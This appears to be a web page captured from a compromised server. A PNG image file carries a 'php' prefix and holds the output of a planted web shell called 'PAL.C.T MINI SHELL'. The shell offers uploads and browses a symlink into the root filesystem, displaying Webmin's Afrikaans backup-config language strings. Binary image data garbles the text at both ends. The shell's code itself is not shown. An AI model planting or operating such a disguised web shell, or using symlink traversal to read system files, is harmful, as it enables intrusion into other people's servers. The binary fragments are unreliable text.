php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/backup-config/lang/
upload
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/backup-config/lang/af.auto

index_title=Rugsteunkonfigurasie-lêers
index_emods=Geen Webmin-modules op u stelsel ondersteun konfigurasie-rugsteun nie.
index_dest=Rugsteunbestemming
index_mods=Webmin-modules
index_sched=Geskeduleer?
index_when=Ja, $1 
index_count=$1 modules
index_add=Voeg 'n nuwe geskeduleerde rugsteun by.
index_none=Geen geskeduleerde rugsteun is nog gedefinieer nie.
index_header=Rugsteunkonfigurasie nou
index_now=Maak nou 'n rugsteun
index_return=lys van geskeduleerde rugsteun
index_return2=rugsteun en herstelvorms
index_header2=Herstel nou die konfigurasie
index_now2=Herstel nou
index_apply=Pas konfigurasies toe?
index_test=Wys net wat herstel gaan word?
index_jobs=Geplande rugsteun
index_nostrftime=Waarskuwing - sommige rugsteunkoste gebruik % in hul lêernaam, maar substitusie-substitusie is nie op die Module Config-bladsy ingeskakel nie.
index_tabsched=Geplande rugsteun
index_tabbackup=Maak nou 'n rugsteun
index_tabrestore=Herstel nou

edit_title1=Skep geskeduleerde rugsteun
edit_title2=Wysig geskeduleerde rugsteun
edit_header=Geplande rugsteunopsies
edit_header2=Voor en plaas rugsteunopdragte
edit_header3=Rugsteunskedule
edit_email=E-pos resultaat na adres
edit_emode=Wanneer om e-pos te stuur
edit_emode0=altyd
edit_emode1=Slegs wanneer 'n fout voorkom
edit_sched=Geplande rugsteun geaktiveer?
edit_schedyes=Ja, soms hieronder gekies.
edit_mods=Modules om te rugsteun
edit_dest=Rugsteunbestemming
edit_mods2=Modules om te herstel
edit_other2=Ander lêers om te herstel
edit_dest2=Herstel vanaf
edit_what=Sluit in rugsteun in
edit_webmin=Webmin module konfigurasie lêers
edit_nofiles=Bedienerkonfigurasie-lêers
edit_run=Stoor en rugsteun nou
edit_return=rugsteunvorm
edit_other=Ander gelys lêers ..
edit_pre=Voor-rugsteun opdrag
edit_post=Na-rugsteun opdrag

save_err=Kon nie rugsteun stoor nie
save_emods=Geen modules gekies nie
save_ewebmin=Nie webmin- of bedienerkonfigurasie-lêers is gekies nie

backup_mode0=Plaaslike lêer
backup_mode1=FTP-bediener
backup_mode2=SSH-bediener
backup_mode3=Opgelaaide lêer
backup_mode4=Laai in die blaaier af
backup_path=lêer op bediener
backup_login=Teken in as gebruiker
backup_pass=met wagwoord
backup_port=Bedienerspoort
backup_epre=Module $1 verwerp rugsteun : $2 
backup_enone=Geen bestaande lêers is beskikbaar om te rugsteun nie!
backup_etar=TAR misluk : $1 
backup_egunzip=Rugsteun is saamgepers, maar <tt>pistool</tt> is nie geïnstalleer nie
backup_euntar=Un-TAR misluk : $1 
backup_enone2=Geen van die lêers vir die geselekteerde modules is in die rugsteun nie
backup_epre2=Module $1 verwerp herstel : $2 

backup_err=Rugsteun het misluk
backup_edest=Absolute of ongeldige plaaslike lêer ontbreek
backup_eserver1=Ontbrekende of ongeldige FTP-bediener
backup_eserver2=SSH-bediener ontbreek of ongeldig
backup_epath=Absolute of ongeldige pad op FTP-bediener ontbreek
backup_epath2=Absolute of ongeldige pad op die SSH-bediener ontbreek
backup_euser=Ongeldige karakters in die FTP-bedieneraanmelding
backup_epass=Ongeldige karakters in die FTP-bedienerwagwoord
backup_eport=Ontbrekende of ongeldige FTP-bedienerspoort
backup_esport=SSH-bedienerspoort ontbreek of ongeldig
backup_emods=Geen modules gekies nie
backup_title=Rugsteunkonfigurasie
backup_doing=Begin rugsteun van modulekonfigurasie-lêers na $1.
backup_failed=.. misluk! $1 
backup_done=.. voltooi. Die finale rugsteungrootte was $1, met $2 lêers.

restore_err=Herstel het misluk
restore_emods=Geen modules of ander lêers word gekies nie
restore_title=Herstel die konfigurasie
restore_doing=Begin met die herstel van module-konfigurasielêers vanaf $1.
restore_testing=Onttrek die inhoud van die rugsteun vanaf $1.
restore_failed=.. misluk! $1 
restore_done=.. voltooi. $1 lêers is herstel.
restore_done2=.. lêers in die rugsteun is :

nice_ftp=$2 op $1 via FTP
nice_ftpp=$2 op $1 poort $3 via FTP
nice_ssh=$2 op $1 via SSH
nice_sshp=$2 op $1 hawe $3 via SSH
nice_upload=opgelaaide lêer
nice_download=leser

log_backup=Ondersteun $1 modules na $2 
log_restore=Herstel $1 modules vanaf $2 
log_create_backup=Skep rugsteun van $1 modules na $2 
log_modify_backup=Gewysigde rugsteun van $1 modules na $2 
log_delete_backup=Rugsteun van $1 modules na $2 is verwyder
log_run_backup=Uitvoer van rugsteun van $1 modules na $2 

run_title=Rugsteunkonfigurasies
run_doing=Begin rugsteun van $1 modules na $2.
run_ok=.. rugsteun suksesvol voltooi.
run_failed=.. rugsteun het misluk! Kyk na die foutboodskap hierbo om die rede.

email_mods=Rugsteun van modules :
email_failed=tot $1 misluk :
email_ok=na $1 slaag.
email_sfailed=Konfigurasie-rugsteun op $1 het misluk
email_sok=Konfigurasie-rugsteun op $1 is suksesvol
email_final=Die finale rugsteunlêergrootte was $1 
email_pre=Voer vooraf-rugsteunopdrag $1 uit.
email_post=Voer na-rugsteunopdrag $1 uit.
email_prefailed=Die voorste rugsteunopdrag het misluk!
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`